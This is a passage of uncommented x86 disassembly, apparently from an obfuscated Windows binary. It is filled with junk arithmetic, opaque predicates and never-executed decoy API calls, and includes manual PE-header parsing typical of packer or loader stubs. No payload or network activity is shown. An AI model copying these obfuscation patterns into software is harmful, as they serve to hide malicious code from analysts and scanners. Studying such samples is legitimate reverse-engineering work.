mov dword [ebp - 0x780], 0x380d33b9
mov dword [ebp - 0x6d8], 0xf90
mov dword [ebp - 0x8d4], 1
mov dword [ebp - 0x8d0], 1
mov dword [ebp - 0x8cc], 1
mov dword [ebp - 0x8c8], 1
mov dword [ebp - 0x50], 0
jmp 0x426d23
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x426d3f
push dword [ebp - 0x50]
lea ecx, [ebp - 0x790]
call fcn.0042aeee
mov dword [eax], 8
jmp 0x426d1c
mov dword [ebp - 0x50], 0
jmp 0x426d4f
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jge 0x426d65
mov eax, dword [ebp - 0x50]
mov dword [ebp + eax*4 - 0x72c], 0x5392614f
jmp 0x426d48
cmp dword [ebp - 0x1a8], 0
je 0x427085
mov dword [ebp - 0x768], 0xdc6b
mov dword [ebp - 0x6a8], 1
mov dword [ebp - 0x1c8], 0
jmp 0x426d9f
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 4
jge 0x426dbb
mov eax, dword [ebp - 0x1c8]
mov dword [ebp + eax*4 - 0x804], 0xfffffff9
jmp 0x426d92
cmp dword [ebp - 0x1a8], 0x6b950ba1
je 0x426dd3
mov dword [ebp - 0x5e4], 1
jmp 0x426dda
and dword [ebp - 0x5e4], 0
mov eax, dword [ebp - 0xe8]
mov dword [ebp - 0x760], eax
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0x760], 0xffffffff
jle 0x426e08
mov dword [ebp - 0x600], 1
jmp 0x426e0f
and dword [ebp - 0x600], 0
mov eax, dword [ebp - 0x1a8]
cmp eax, dword [ebp - 0x600]
jle 0x426e29
mov dword [ebp - 0x350], 1
jmp 0x426e30
and dword [ebp - 0x350], 0
mov eax, dword [ebp - 0x768]
cmp dword [ebp - 0x16c], eax
jle 0x426e4a
mov dword [ebp - 0x608], 1
jmp 0x426e51
and dword [ebp - 0x608], 0
cmp dword [ebp - 0x608], 0x6d54ec7e
jle 0x426e69
mov dword [ebp - 0x35c], 1
jmp 0x426e70
and dword [ebp - 0x35c], 0
mov eax, dword [ebp - 0x16c]
cmp dword [ebp - 0x35c], eax
jl 0x426e8a
mov dword [ebp - 0x4c8], 1
jmp 0x426e91
and dword [ebp - 0x4c8], 0
mov eax, dword [ebp - 0x350]
cmp eax, dword [ebp - 0x4c8]
jle 0x426eba
push 0
lea ecx, [ebp - 0x790]
call fcn.0042aeee
cmp dword [eax], 0
jne 0x426eba
and dword [ebp - 0x358], 0
jmp 0x426ec4
mov dword [ebp - 0x358], 1
mov eax, dword [ebp - 0x358]
add eax, 0x5284569a
je 0x426ee6
cmp dword [ebp - 0xe8], 0
je 0x426ee6
mov dword [ebp - 0x590], 1
jmp 0x426eed
and dword [ebp - 0x590], 0
cmp dword [ebp - 0x590], 0xdcb7be74
ja 0x426f05
mov dword [ebp - 0x360], 1
jmp 0x426f0c
and dword [ebp - 0x360], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x804]
cmp dword [ebp - 0x360], eax
jge 0x426f2d
mov dword [ebp - 0x770], 1
jmp 0x426f34
and dword [ebp - 0x770], 0
mov eax, dword [ebp - 0x380]
mov dword [ebp - 0x924], eax
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x804], 0x9329
jl 0x426f5f
mov dword [ebp - 0x4d0], 1
jmp 0x426f66
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x778]
cmp dword [ebp - 0x4d0], eax
jge 0x426f89
cmp dword [ebp - 0x780], 0
je 0x426f89
mov dword [ebp - 0x368], 1
jmp 0x426f90
and dword [ebp - 0x368], 0
imul eax, dword [ebp - 0x368], 3
cmp dword [ebp - 0x5e4], eax
je 0x426fab
mov dword [ebp - 0x370], 1
jmp 0x426fb2
and dword [ebp - 0x370], 0
cmp dword [ebp - 0x370], 0x7c650ba4
jg 0x426fca
mov dword [ebp - 0x4d8], 1
jmp 0x426fd1
and dword [ebp - 0x4d8], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp + eax - 0x804], ecx
mov eax, dword [ebp - 0xe8]
cmp dword [ebp - 0x6a8], eax
jge 0x426ffe
mov dword [ebp - 0x378], 1
jmp 0x427005
and dword [ebp - 0x378], 0
mov eax, dword [ebp - 0x6d8]
cmp dword [ebp - 0x378], eax
jg 0x42701f
mov dword [ebp - 0x594], 1
jmp 0x427026
and dword [ebp - 0x594], 0
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x380], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x804]
cmp dword [ebp - 0x4f0], eax
jl 0x427053
mov dword [ebp - 0x6b4], 1
jmp 0x42705a
and dword [ebp - 0x6b4], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x804]
mov dword [ebp - 0x92c], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x72c]
mov dword [ebp - 0x16c], eax
jmp 0x4272d8
mov dword [ebp - 0x6bc], 0xadd890aa
push 1
lea ecx, [ebp - 0x8b4]
call fcn.0042ae00
mov dword [ebp - 0x100], 0x7996
mov dword [ebp - 0x4e8], 0
mov dword [ebp - 0x164], 0
jmp 0x4270c9
mov eax, dword [ebp - 0x164]
inc eax
mov dword [ebp - 0x164], eax
cmp dword [ebp - 0x164], 1
jge 0x4270eb
push dword [ebp - 0x164]
lea ecx, [ebp - 0x8b4]
call fcn.0042aeee
mov dword [eax], 0x274cb070
jmp 0x4270bc
mov eax, dword [ebp - 0x6bc]
mov dword [ebp - 0x4e0], eax
push 0
lea ecx, [ebp - 0x8b4]
call fcn.0042aeee
mov ecx, dword [ebp - 0x4e0]
mov dword [eax], ecx
cmp dword [ebp - 0x4e0], 0xfffffff8
jne 0x427121
mov dword [ebp - 0x4f8], 1
jmp 0x427128
and dword [ebp - 0x4f8], 0
push 0
lea ecx, [ebp - 0x790]
call fcn.0042aeee
mov eax, dword [ebp - 0x100]
imul eax, dword [ebp - 0x100]
cmp eax, 0xb372
jl 0x427155
mov dword [ebp - 0x388], 1
jmp 0x42715c
and dword [ebp - 0x388], 0
mov eax, dword [ebp - 0x388]
add eax, 0x47af
cmp eax, 0x861e80f9
jb 0x427183
cmp dword [ebp - 0x1a8], 0
je 0x427183
mov dword [ebp - 0x624], 1
jmp 0x42718a
and dword [ebp - 0x624], 0
cmp dword [ebp - 0x624], 0x5d2985da
jle 0x4271a2
mov dword [ebp - 0x390], 1
jmp 0x4271a9
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 0x390]
mov dword [ebp - 0x4e8], eax
mov eax, dword [ebp - 0x100]
cmp dword [ebp - 0x4e8], eax
jle 0x4271cf
mov dword [ebp - 0x398], 1
jmp 0x4271d6
and dword [ebp - 0x398], 0
push 0
lea ecx, [ebp - 0x790]
call fcn.0042aeee
mov ecx, dword [ebp - 0x398]
cmp ecx, dword [eax]
jge 0x4271f9
mov dword [ebp - 0x59c], 1
jmp 0x427200
and dword [ebp - 0x59c], 0
cmp dword [ebp - 0x59c], 0
jl 0x427215
mov dword [ebp - 0x3a0], 1
jmp 0x42721c
and dword [ebp - 0x3a0], 0
mov eax, dword [ebp - 0x100]
add eax, dword [ebp - 0x3a0]
cmp dword [ebp - 0x16c], eax
jg 0x427240
xor eax, eax
je 0x427240
mov dword [ebp - 0x3a8], 1
jmp 0x427247
and dword [ebp - 0x3a8], 0
mov eax, dword [ebp - 0x4f0]
cmp dword [ebp - 0x3a8], eax
je 0x427261
mov dword [ebp - 0x5ec], 1
jmp 0x427268
and dword [ebp - 0x5ec], 0
mov eax, dword [ebp - 0x5ec]
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0
je 0x427292
cmp dword [ebp - 0x100], 0
je 0x427292
mov dword [ebp - 0x3b8], 1
jmp 0x427299
and dword [ebp - 0x3b8], 0
mov eax, dword [ebp - 0x4f8]
sub eax, dword [ebp - 0x3b8]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x8d4], eax
mov byte [ebp - 0x70], 0
movzx eax, byte [ebp - 0x70]
test eax, eax
je 0x4272cd
push 0x24c0
push 0x122d
call dword [sym.imp.KERNEL32.dll_Beep]
lea ecx, [ebp - 0x8b4]
call fcn.0042aed2
lea ecx, [ebp - 0x790]
call fcn.0042aed2
mov dword [ebp - 0x174], 0xb96
mov dword [ebp - 0xd8], 1
mov dword [ebp - 0xdc], 2
mov dword [ebp - 0x3c8], 0xfd5d7051
mov dword [ebp - 0x3d0], 0xfffffffa
mov dword [ebp - 0x1c0], 0
jmp 0x42732e
mov eax, dword [ebp - 0x1c0]
inc eax
mov dword [ebp - 0x1c0], eax
cmp dword [ebp - 0x1c0], 1
jge 0x42734a
mov eax, dword [ebp - 0x1c0]
mov dword [ebp + eax*4 - 0x764], 0xdef906d8
jmp 0x427321
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x7dfa860b
jl 0x42736f
mov dword [ebp - 0x5a4], 1
jmp 0x427376
and dword [ebp - 0x5a4], 0
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0xdc], eax
cmp dword [ebp - 0xd8], 0
jne 0x427428
cmp dword [ebp - 0x174], 0
jne 0x4273e7
mov eax, dword [ebp - 0x174]
mov dword [ebp - 0x934], eax
mov eax, dword [ebp - 0xd8]
cmp dword [ebp - 0xdc], eax
jge 0x4273be
mov dword [ebp - 0x3c0], 1
jmp 0x4273c5
and dword [ebp - 0x3c0], 0
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0x3c0]
imul eax, eax, 0xb0a
cmp eax, 0xa13b
jge 0x4273e7
and dword [ebp - 0x500], 0
jmp 0x4273f1
mov dword [ebp - 0x500], 1
mov eax, dword [ebp - 0x500]
mov dword [ebp - 0x3c8], eax
mov eax, dword [ebp - 0x3c8]
mov dword [ebp - 0xdc], eax
mov eax, dword [ebp - 0xdc]
neg eax
add eax, dword [ebp - 0x174]
cmp eax, dword [ebp - 0x174]
jle 0x427428
and dword [ebp - 0x614], 0
jmp 0x427432
mov dword [ebp - 0x614], 1
mov eax, dword [ebp - 0x614]
mov dword [ebp - 0x3d0], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x3d0]
mov dword [ebp + eax - 0x764], ecx
xor eax, eax
jmp 0x42a54e
mov eax, dword [ebp - 0x224]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xfc], ecx
mov dword [ebp - 0x17c], 0x2ba39464
mov dword [ebp - 0x6c4], 0
mov dword [ebp - 0x93c], 1
mov dword [ebp - 0x944], 0xfffffff8
mov dword [ebp - 0x94c], 0xc0bf90a2
mov dword [ebp - 0xa08], 0xfffffff9
mov dword [ebp - 0x10], 0
jmp 0x4274b6
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x4274cc
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x950], 0xc93
jmp 0x4274af
mov dword [ebp - 0x10], 0
jmp 0x4274dc
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jge 0x4274f2
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x954], 0xdf1adb2b
jmp 0x4274d5
mov dword [ebp - 0x10], 0
jmp 0x427502
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x427518
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x7f4], 0xa8ed40a1
jmp 0x4274fb
mov dword [ebp - 0x17c], 0
jmp 0x427531
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0
jg 0x4275a0
mov dword [ebp - 0x95c], 0x17f75960
mov dword [ebp - 0x11c], 0
jmp 0x42755d
mov eax, dword [ebp - 0x11c]
inc eax
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 1
jge 0x427579
mov eax, dword [ebp - 0x11c]
mov dword [ebp + eax*4 - 0x964], 0
jmp 0x427550
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7f4]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x7f4], eax
mov dword [ebp - 0x6c4], 0x5cefd06
jmp 0x427524
mov eax, dword [ebp - 0xfc]
cmp dword [eax], 0x4550
je 0x427b16
push 3
lea ecx, [ebp - 0x1f8]
call fcn.0042ae00
mov dword [ebp - 0x14], 0x1e1e87df
mov dword [ebp - 0x110], 0
jmp 0x4275df
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 3
jge 0x427601
push dword [ebp - 0x110]
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
mov dword [eax], 0xfffffffa
jmp 0x4275d2
mov dword [ebp - 0x14], 2
jmp 0x427611
mov eax, dword [ebp - 0x14]
dec eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jl 0x42783f
mov dword [ebp - 0x214], 0xffd81438
mov dword [ebp - 0x87c], 0xc214f163
mov dword [ebp - 0x878], 0xc214f163
mov dword [ebp - 0x874], 0xc214f163
mov dword [ebp - 0x870], 0xc214f163
lea ecx, [ebp - 0x232]
call fcn.0042aefd
push eax
lea eax, [ebp - 0x86c]
push eax
lea eax, [ebp - 0x87c]
push eax
lea ecx, [ebp - 0xa90]
call fcn.0042af00
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x974]
call fcn.0042aeac
mov byte [ebp - 0x65], 0
movzx eax, byte [ebp - 0x65]
test eax, eax
je 0x4276a4
push 0x1e2b
push 0x1484
push 0
push 0x71
push 0
call dword [sym.imp.USER32.dll_GetMenuStringW]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
mov eax, dword [eax]
mov dword [ebp - 0x214], eax
mov esi, dword [ebp - 0x214]
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
cmp esi, dword [eax]
je 0x4276de
mov dword [ebp - 0x734], 1
jmp 0x4276e5
and dword [ebp - 0x734], 0
cmp dword [ebp - 0x14], 0
je 0x427700
mov eax, 0x1e2d
test eax, eax
je 0x427700
mov dword [ebp - 0x6cc], 1
jmp 0x427707
and dword [ebp - 0x6cc], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
mov esi, dword [eax]
neg esi
push 2
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
cmp esi, dword [eax]
jg 0x427748
cmp dword [ebp - 0x214], 0
je 0x427748
mov eax, 0xfff8
test eax, eax
je 0x427748
mov dword [ebp - 0x77c], 1
jmp 0x42774f
and dword [ebp - 0x77c], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
mov esi, eax
push 2
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
mov esi, dword [esi]
imul esi, dword [eax]
push 1
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
cmp esi, dword [eax]
jge 0x42778e
mov dword [ebp - 0x508], 1
jmp 0x427795
and dword [ebp - 0x508], 0
mov eax, dword [ebp - 0x14]
cmp dword [ebp - 0x508], eax
je 0x4277bf
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
cmp dword [eax], 0
je 0x4277bf
mov dword [ebp - 0x3d8], 1
jmp 0x4277c6
and dword [ebp - 0x3d8], 0
push dword [ebp - 0x14]
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
mov ecx, dword [ebp - 0x3d8]
cmp ecx, dword [eax]
je 0x4277ea
mov dword [ebp - 0x5ac], 1
jmp 0x4277f1
and dword [ebp - 0x5ac], 0
cmp dword [ebp - 0x5ac], 0xae3d
je 0x427809
mov dword [ebp - 0x6d4], 1
jmp 0x427810
and dword [ebp - 0x6d4], 0
push 0
lea ecx, [ebp - 0x1f8]
call fcn.0042aeee
mov esi, dword [ebp - 0x14]
push 2
lea ecx, [ebp - 0x974]
call fcn.0042aeee
mov dword [eax], esi
lea ecx, [ebp - 0x974]
call fcn.0042aed2
jmp 0x42760a
lea ecx, [ebp - 0x1f8]
call fcn.0042aed2
push 3
lea ecx, [ebp - 0x984]
call fcn.0042ae00
mov dword [ebp - 0x28], 0x46db5052
mov dword [ebp - 0x9d4], 3
mov dword [ebp - 0x120], 0
jmp 0x427881
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 3
jge 0x4278a3
push dword [ebp - 0x120]
lea ecx, [ebp - 0x984]
call fcn.0042aeee
mov dword [eax], 0xe48d
jmp 0x427874
mov dword [ebp - 0x28], 2
jmp 0x4278b3
mov eax, dword [ebp - 0x28]
dec eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 0
jl 0x427965
mov dword [ebp - 0x128], 0
jmp 0x4278d6
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 4
jge 0x4278f2
mov eax, dword [ebp - 0x128]
mov dword [ebp + eax*4 - 0x8c4], 0x7d214c40
jmp 0x4278c9
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x8c4], 2
jmp 0x427920
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x8c4]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x8c4], eax
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x8c4], 0
jl 0x42794c
mov byte [ebp - 0xb2], 0
movzx eax, byte [ebp - 0xb2]
test eax, eax
je 0x42794a
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
jmp 0x427905
mov byte [ebp - 0x74], 0
movzx eax, byte [ebp - 0x74]
test eax, eax
je 0x427960
push 0
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
jmp 0x4278ac
mov dword [ebp - 0x28], 0
jmp 0x427975
mov eax, dword [ebp - 0x28]
inc eax
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x28], 8
jl 0x427b04
mov dword [ebp - 0x518], 1
mov dword [ebp - 0xe4], 0xc8b166c1
mov dword [ebp - 0x130], 0
jmp 0x4279ac
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 3
jge 0x4279c8
mov eax, dword [ebp - 0x130]
mov dword [ebp + eax*4 - 0x7e0], 0xfffc
jmp 0x42799f
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7e0], 0
je 0x427a69
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x7e0], 0
jge 0x4279f7
mov dword [ebp - 0x3e0], 1
jmp 0x4279fe
and dword [ebp - 0x3e0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7e0]
cmp eax, dword [ebp - 0x3e0]
jge 0x427a1f
mov dword [ebp - 0x510], 1
jmp 0x427a26
and dword [ebp - 0x510], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x510], eax
jl 0x427a4d
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x7e0], 0
je 0x427a4d
mov dword [ebp - 0x3e8], 1
jmp 0x427a54
and dword [ebp - 0x3e8], 0
cmp dword [ebp - 0x3e8], 1
jbe 0x427a69
mov dword [ebp - 0x5f4], 1
jmp 0x427a70
and dword [ebp - 0x5f4], 0
cmp dword [ebp - 0x5f4], 2
ja 0x427a85
mov dword [ebp - 0x3f0], 1
jmp 0x427a8c
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3f0]
mov dword [ebp - 0x518], eax
mov eax, dword [ebp - 0x518]
imul eax, dword [ebp - 0x28]
cmp eax, 9
je 0x427ab3
mov dword [ebp - 0x3f8], 1
jmp 0x427aba
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xe4], 0
jmp 0x427adf
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x14
jl 0x427aff
mov dword [ebp - 0x6ec], 7
cmp dword [ebp - 0x6ec], 0
je 0x427afd
jmp 0x427aff
jmp 0x427ad2
jmp 0x42796e
lea ecx, [ebp - 0x984]
call fcn.0042aed2
xor eax, eax
jmp 0x42a54e
push 2
lea ecx, [ebp - 0xf8]
call fcn.0042ae00
mov dword [ebp - 0x410], 0xfffffff7
mov dword [ebp - 0x48], 0x901516ea
mov dword [ebp - 0x90], 1
mov dword [ebp - 0x6f8], 0xffffffff
mov dword [ebp - 0x76c], 0xbb3fd423
mov dword [ebp - 0x138], 0
jmp 0x427b6b
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 2
jge 0x427b8d
push dword [ebp - 0x138]
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
mov dword [eax], 0xfffffffe
jmp 0x427b5e
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
mov dword [eax], 0xfffffff7
jmp 0x427bc6
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
mov dword [ebp - 0x5b4], eax
mov eax, dword [ebp - 0x5b4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x5b4]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
cmp dword [eax], 0x18
jg 0x4281c0
mov dword [ebp - 4], 0x4837
mov dword [ebp - 0xec], 0x274c111b
push 4
lea ecx, [ebp - 0x688]
call fcn.0042ae00
mov dword [ebp - 0x700], 0xa1d2
mov dword [ebp - 0x140], 0
jmp 0x427c1d
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 4
jge 0x427c3f
push dword [ebp - 0x140]
lea ecx, [ebp - 0x688]
call fcn.0042aeee
mov dword [eax], 0x3441
jmp 0x427c10
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], eax
jle 0x427c53
mov dword [ebp - 0x400], 1
jmp 0x427c5a
and dword [ebp - 0x400], 0
cmp dword [ebp - 0x400], 0xffff
jbe 0x427d1e
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
cmp dword [eax], 0xc7e4
jge 0x427c9a
push 1
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
cmp dword [eax], 0
jne 0x427c9a
and dword [ebp - 0x520], 0
jmp 0x427ca4
mov dword [ebp - 0x520], 1
push 1
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
mov ecx, dword [ebp - 0x520]
cmp ecx, dword [eax]
jg 0x427cc7
mov dword [ebp - 0x408], 1
jmp 0x427cce
and dword [ebp - 0x408], 0
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
mov ecx, dword [ebp - 0x408]
cmp ecx, dword [eax]
jne 0x427d00
push 1
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
cmp dword [eax], 0
jne 0x427d00
and dword [ebp - 0x6dc], 0
jmp 0x427d0a
mov dword [ebp - 0x6dc], 1
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
cmp dword [ebp - 0x410], 0
mov eax, 0xfff7
sub eax, 0xfbd1
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x48], eax
jne 0x427d37
cmp dword [ebp - 4], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 4], eax
je 0x427d4b
mov dword [ebp - 0x634], 1
jmp 0x427d52
and dword [ebp - 0x634], 0
mov eax, dword [ebp - 0x634]
add eax, 9
je 0x427d6c
mov eax, 0xffff
test eax, eax
je 0x427d6c
cmp dword [ebp - 4], 0
jne 0x427d7b
cmp dword [ebp - 4], 0
jne 0x427d7b
and dword [ebp - 0x6f0], 0
jmp 0x427d85
mov dword [ebp - 0x6f0], 1
push 1
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
mov eax, 0x8cdf2ab2
neg eax
je 0x427fc5
mov dword [ebp - 0x230], 0xb88a
mov dword [ebp - 0x5fc], 0x93b76f05
cmp dword [ebp - 4], 0
je 0x427f47
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
cmp dword [ebp - 4], 0
jne 0x427de0
push 5
pop eax
test eax, eax
jne 0x427de0
and dword [ebp - 0x528], 0
jmp 0x427dea
mov dword [ebp - 0x528], 1
mov eax, dword [ebp - 0x410]
cmp dword [ebp - 0x528], eax
jge 0x427e04
mov dword [ebp - 0x418], 1
jmp 0x427e0b
and dword [ebp - 0x418], 0
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
mov ecx, dword [ebp - 0x418]
cmp ecx, dword [eax]
jne 0x427e2e
mov dword [ebp - 0x5bc], 1
jmp 0x427e35
and dword [ebp - 0x5bc], 0
cmp dword [ebp - 0x5bc], 0xf52174d4
jbe 0x427e4d
mov dword [ebp - 0x420], 1
jmp 0x427e54
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
sub eax, dword [ebp - 4]
jne 0x427e6d
xor eax, eax
inc eax
jne 0x427e6d
and dword [ebp - 0x530], 0
jmp 0x427e77
mov dword [ebp - 0x530], 1
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 0x530], eax
jg 0x427e91
mov dword [ebp - 0x6e4], 1
jmp 0x427e98
and dword [ebp - 0x6e4], 0
mov eax, dword [ebp - 4]
mov dword [ebp - 0x9dc], eax
cmp dword [ebp - 4], 0x87122a22
jb 0x427eb6
mov dword [ebp - 0x428], 1
jmp 0x427ebd
and dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x5fc], eax
mov esi, dword [ebp - 0x5fc]
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
imul esi, dword [eax]
add esi, dword [ebp - 0x48]
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
sub esi, dword [eax]
je 0x427f05
cmp dword [ebp - 4], 0
je 0x427f05
mov dword [ebp - 0x430], 1
jmp 0x427f0c
and dword [ebp - 0x430], 0
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 0x430], eax
jg 0x427f26
mov dword [ebp - 0x538], 1
jmp 0x427f2d
and dword [ebp - 0x538], 0
mov eax, dword [ebp - 0x230]
cmp dword [ebp - 0x538], eax
je 0x427f47
mov dword [ebp - 0x438], 1
jmp 0x427f4e
and dword [ebp - 0x438], 0
mov eax, dword [ebp - 0x438]
inc eax
imul eax, dword [ebp - 4]
mov dword [ebp - 0xec], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x90], eax
mov esi, dword [ebp - 0x90]
push 0
lea ecx, [ebp - 0xf8]
call fcn.0042aeee
cmp dword [eax], esi
jl 0x427f8b
mov dword [ebp - 0x5c4], 1
jmp 0x427f92
and dword [ebp - 0x5c4], 0
mov eax, dword [ebp - 0x6f8]
imul eax, dword [ebp - 0x5c4]
cmp eax, dword [ebp - 0x48]
je 0x427fb0
mov dword [ebp - 0x440], 1
jmp 0x427fb7
and dword [ebp - 0x440], 0
mov eax, dword [ebp - 0x440]
mov dword [ebp - 0x48], eax
jmp 0x4281b0
mov dword [ebp - 0x548], 0x2b93
mov dword [ebp - 0x114], 0
jmp 0x427fe8
mov eax, dword [ebp - 0x114]
inc eax
mov dword [ebp - 0x114], eax
cmp dword [ebp - 0x114], 2
jge 0x428004
mov eax, dword [ebp - 0x114]
mov dword [ebp + eax*4 - 0x9d0], 0
jmp 0x427fdb
mov dword [ebp - 0xec], 0x10
jmp 0x42801d
mov eax, dword [ebp - 0xec]
dec eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jl 0x4281b0
mov dword [ebp - 0x6e8], 0
mov dword [ebp - 0x48], 3
jmp 0x428044
mov eax, dword [ebp - 0x48]
dec eax
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jl 0x4281ab
mov dword [ebp - 0x90], 0
jmp 0x428067
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 3
jg 0x42819a
mov dword [ebp - 4], 3
jmp 0x428084
mov eax, dword [ebp - 4]
dec eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jl 0x428195
mov byte [ebp - 0xa9], 0
movzx eax, byte [ebp - 0xa9]
test eax, eax
je 0x4280aa
push 0
push 0
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov eax, dword [ebp - 0x6e8]
cmp dword [ebp - 0x548], eax
je 0x4280c4
mov dword [ebp - 0x540], 1
jmp 0x4280cb
and dword [ebp - 0x540], 0
push 3
lea ecx, [ebp - 0x688]
call fcn.0042aeee
mov ecx, dword [ebp - 0x540]
cmp ecx, dword [eax]
jl 0x4280ee
mov dword [ebp - 0x448], 1
jmp 0x4280f5
and dword [ebp - 0x448], 0
cmp dword [ebp - 0x448], 0xfffd
ja 0x42810d
mov dword [ebp - 0x61c], 1
jmp 0x428114
and dword [ebp - 0x61c], 0
mov eax, dword [ebp - 0x61c]
neg eax
cmp eax, dword [ebp - 0x700]
je 0x428130
mov dword [ebp - 0x6f4], 1
jmp 0x428137
and dword [ebp - 0x6f4], 0
push 1
lea ecx, [ebp - 0x688]
call fcn.0042aeee
